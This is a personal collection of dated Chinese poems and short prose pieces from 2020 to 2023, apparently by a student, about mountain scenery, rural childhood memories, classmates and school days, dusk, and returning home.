像翠鸟翻动红隼滑翔
你就这样被印在山间的绿幔上

日落时分是谁叠好衣裳放下竹筐小步拂过他窗
山溪淙淙鸊鷉潜泳炊烟袅袅四方
这里不只有翠绿、秀美和清凉
余晖下的千日红胜塞北金莲
池边的芦苇荡是南方的青纱帐!
用轻纱网萤虫时绿色将你环抱
你爱从瓦缝青苔里挣扎出的水仙
你爱山间

——2023.12.27~29


慕你轻妆的淡雅眼角的一抹妖艳

—— 致杜鹃花

桃花女

邻家桃花女,抚琴弄酒花,梅柳挂玉腮,彳亍罗帷下,布衣行瘦马,且听她唱罢,“霡霂饮骢马,朽剑拭轻纱”

—— 读王维《洛阳女儿行》


以前

以前的老人不老、小伢不小
烈日下锄田、喝茶、话桑麻
小伢落地就会跑、爬树掏鸟窝

以前的棋盘很小很旧很破
人们围起来笑得像烧红的铁锅
支士跳马败了老将不是一个人的错

以前的瓦房矮小但热闹
车前、老构、千金总想往墙角窜
是那远方的人惦念的温暖港湾

以前的橘子挂在枝头翠绿泛黄
酸多于甜却总遭人们垂涎
雨打绿叶覆满青脉水珠微苦留余韵

以前的燕巢总待人归
家燕喧闹相互倾诉南下时曲折的鸟道
那枝头鹰鹃的升调民谣至今萦绕身旁

——2023.11.27上课时忽传来鹰鹃的叫声


老鲤

老李在西边的田垄上养了一潭鲤鱼
他笑眯的眼睛就像在说:
“瞧这群家伙、多么快活
虽然它最终都要被端上餐桌”
枯黄的烟草在他嘴中焕发生机
在烟雾缭绕的倒影里
是老李在水里还是鲤鱼飞在空中
是鲤鱼在胡渣里还是老李在鱼鳃中
在波光粼粼的水面上
轻盈的水草在它嘴中进进出出
“虽然他最后无儿无女遗憾而终
瞧着老家伙、多么快活它”
翩翩的舞姿就像在说:
老李在西边的田垄上养了一潭鲤鱼

——2023.11.


热烈年华

—— 你们就是单调生活里的乐趣

时间前赴后继
波澜的从不是岁月
而是热烈的我们

在那平静的日子里时间就像空气
透明、狡猾、无声无息
在枝叶的罅隙、雀跃的光影里悠悠地流淌着
空气里弥漫着睡意
粉笔却还在重复着昨日单调的旋律
日光爬上窗边沉吟
无情的窗帘并不领情

也许我天生适合考古
连桌上的 “甲骨文” 竟也能略懂一二
我留下的足迹值得后人深究
毕竟 21 级也只有一届

如果隔壁传来一声尖叫
敲醒了奄奄一息的教室
要么是鸟儿误入课堂
要么是书包进了蟑螂

在那段时间里有人忧虑:
“昨日的铮铮誓言会在今日夺走谁的笑颜”
于是他们寻觅救赎
道远路长,无暇风光

但他们再次回头
年少时许下的誓言早已成为沉淀在阳光下的谎言
然而在徉风漾水的热烈年华后谎言便也成了故事的琉璃

我喜欢黄昏下的走道
有人低头、有人仰望
我们努力将一缕微风酿成欢乐烈酒
一起饮下这杯酒吧
连太阳也醉晕了头

回忆起点亮漆黑小径的
是我不能忘却的星斗

——2023.11.~ 乐子多的四班


黄昏

与谁携手黄昏
在静谧的原野里
余晖盛满
你说你从未走过
这金黄色的地毯
我笑你找不到黄栌
你说你不想打扰它的幸福

霞光微微
小湖畔蛙声起伏
涟漪里肥鱼嘀咕
—— 却无人言语
你我仿佛都在寻觅
寻觅那一缕虽迟暮但灼灼的光
让她把夜来香的芬芳
和你我的犹豫融成一泓糖浆

你坐在老旧的石板上
石板躺在我面前
只剩你的背影静静地喧哗
闭眼轻聆蟋蟀、碎叶、银蜻蜓
思绪染墨努力临摹你的背影
可记忆终归不行

睁眼复习
原来是麦冬旁裙角上两三道踌躇的褶印
黄昏将尽、时间苍老
你突然回头
云鬘未绾
微飔拨乱
一笑嫣然

——2023.7.22 暑假等车路旁=


归乡

等异乡的一场暴雨洗尽往日陈调
等一湾夕阳、一曲柔肠
垄上余晖盛满池塘
檐下情意慢溯流淌
等铁树开花、莲子发芽
归乡旅途黯然无光
等夜色描摹寒潮雪长
丝丝透心彻骨凉

等晚波夜里悄悄远行
欢宴对酌、芸生酩酊
觥筹交错、月牙微醺
等那人儿挥霍年轻

三九寒梅吹白北海鬓角
江南烟雨染绿南山眉头
等一支悠扬的民谣
斜欹泥栏同闲心共老
自甘沉沦与落华萧萧

等雨后一场匆匆邂逅
云雾拨开、月色明廊
星汉连缀、银河上妆
等寂寞的游子返回故乡
老城古道、窈窕花灯
旧街小巷、脱漆铃铛

等明日分别的拂晓
故乡将安稳塞满行囊
他却将劳顿愁苦留给故乡

——2023.. 大雨归家


悲壮一生

多少花开了没有结果
多少垂柳无意却成荫
杨絮在雨中煎熬
一夜孤寂
枝影萧条

多少相逢来似萍踪
多少过客偶成惊鸿
光阴摧残了面容
一对鸳鸯
满院梧桐

多少才子遇佳人
多少竹马弄青梅
燃尽芳华守空房
一抹沧桑
几度秋凉

多少浪漫写意的诗
多少馥郁明丽的韵
始于狂热、终于安详
一枕黄粱
尽是荒唐

——2023.. 读《文城》有感


103 地理教室

你说我是无名飞蓬
夜举你一片荒城
我说我是一盏浮萍、一隅烟汀
在水面留下短暂的诗情
无韵可寻、仄起仄平

—— 学考自习教室 2023.06.30


熟悉

我们就像一群叶栾树
苍翠、粗壮、寂寞
如此相似却又各不相同
你不知我为何生在此地
我不明你的来历
我们一同穿越嫣红小陌
在夏夜长空下衔月牙挽落的繁星
我的身躯不能向你倾斜
我们守着各自的小径

我们是如此熟悉
你的叶划到我的脸
我也不会在意
我们为每一朵花的凋零而忧戚
也为每一株毒棘的枯萎而叹息

我们离得很近
同生于路旁一块土地
我们隔得很远
纵然是几米也无法接近

相看相笑多少四季
却都不愿吐露枝头的秘密
你看见硕果累累、甜柿满地
我看见银杏在秋风中渐渐凄迷

我向划过的流星许愿
你却为它的陨落独自哭泣
当一夜秋风过后
催熟了我的果,萧条了你的叶
你不知我结的什么果
我不懂你枝头的叶

——2023.10.27 周六


石榴子石

桌上放着一块剔透的宝石
阳光洒来格外耀眼
“多么鲜嫩的石榴!”
“何其绚丽的色泽!”
“难得的上品!”“值得入手!”
众人议论

我幸运地站得一个好位置
我幸运地加入了稳赢的拍卖
我幸运地被请上瞩目的舞台
我幸运地仅以十倍石榴的钱拍得了它

手里拿着一块剔透的宝石
阳光洒来格外耀眼
“多么鲜嫩的石榴!”
“何其绚丽的色泽!”“难得的上品?”“值得入手?”
可朋友始终不明白我为何要买一坨铝硅酸盐哈哈,看来这次只亏了九倍石榴的钱

——2023.03.~ 周六晚教室摸鱼


山间一

绿雾蒙蒙的山间
露水在瓦片滑落
常春藤挂在屋檐
烟雨与旅人缠绵
泥泞随脚步翩跹
小舟停泊
流波荡起
绘出了山的轮廓

四照花洒在木槿边
桃金娘遭山雀垂涎
蟋蟀呼与螳螂对酌
谁与冬青藏匿云间
吹来流岚浸没人闲
扁舟远去
夜色渐起
朦胧了山的轮廓

——2023.03.17 记研学


诗忆桂

我喜欢写诗,喜欢记忆
陈年往事酿成记忆的苦涩
悲伤怀念撰成诗句的韵脚
我讨厌诗,讨厌记忆
也许遗忘才是最好的方法
泪水总占据诗句的一角
欢乐涂在记忆的表面

我喜欢诗,喜欢记忆
老家偷西瓜,看半亩芝麻
原野奔驰,麦田信步
破屋旧瓦,嘻嘻哈哈
幽默的灵魂却拥有庄严的外表
记忆的甜味沉淀出老桂树味

我细细想啊细细品
却怎么也找不到
我儿时的味道
我十分想念它们

——2023.03.27


无题 2

流星停止奔波
树枝停止摇曳
老鼠在暗道中呻吟
巨鹿在森林里迷失
挖墙脚的鼹鼠
痛苦无垠的黑夜
我在永恒的烻影里
击碎冰封的一切

——2023.02.08


漫游

我喜欢一路向北, 你喜欢枫叶飘落
我说北方大雪纷飞枯木丛生
你说枫叶红时缓缓飘落想思念
古巴比伦在塞纳河畔
告白气球飞到了窗外麻雀的头顶
它吓了一跳,骂道:“今天是不是喝多了 Mojito”
它笑我 MP3 一闪一闪, 眼前的风景就一遍遍循环

——2022..


白日做梦

躲在教室的一隅
谁的梦境会像我
这般真实
似在海洋漂泊
又像太空旋转
谁的梦境中会有我
有我的梦境
会不会也这般真实

——2022.05.20 教室午休


Hero 钢笔

久放的英雄
你不出墨了
徒有那靓丽的外表
是写不出如画的字的

——2022.05.15


写给你们

远方的小鹿
不要忘了路旁的大树
采撷红透的甜果
再继续奔赴
湖畔的白鹤
你要记得调皮的小澈
濯洗昨夜的泪痕
前方自有计策
云上的雄鹰
回头看看沿途的青山
氤氲高远的理想
不再胆战心惊
小鹿、白鹤与雄鹰
一切一切都属于你
灿烂前程的开始

——2021.09.19 晚


小院

—— 小院有桂,桂里藏星,星落水皱,皱如离愁。*
半盏闲情
惊起一滩秋水浪波
记忆中的圈圈波纹,沉寂在月下的梨涡

2021.04.05 作文题记 2023.03 学校 “三行诗”*


无题 1

缺憾遗留完美
距离保持美感
神也渴望神秘
而终究被亵渎
螳螂追逐着黄金
贪婪迷溺于落日
村边总有艳霞
有人在那边驻扎
你住在云里
我只看得到白色

——2021.02.04


网课

“何处合成愁,离人心上秋,纵芭蕉不雨也飕飕。”
乍一看,风华少年持笔坐堂中。相看相思,愿将冬日疾驰去,零落花下相闻曲。心上人夹杂雪,孤独心头结层霜。执笔速驰,欲描,闭眼,嫣然一笑。痴雪无声,

——2020.03.06 网课


回忆旧树

忆旧树,窗前白沫纷飞舞。叹时光,亦是骏马亦是框。

——2020.02.21 雪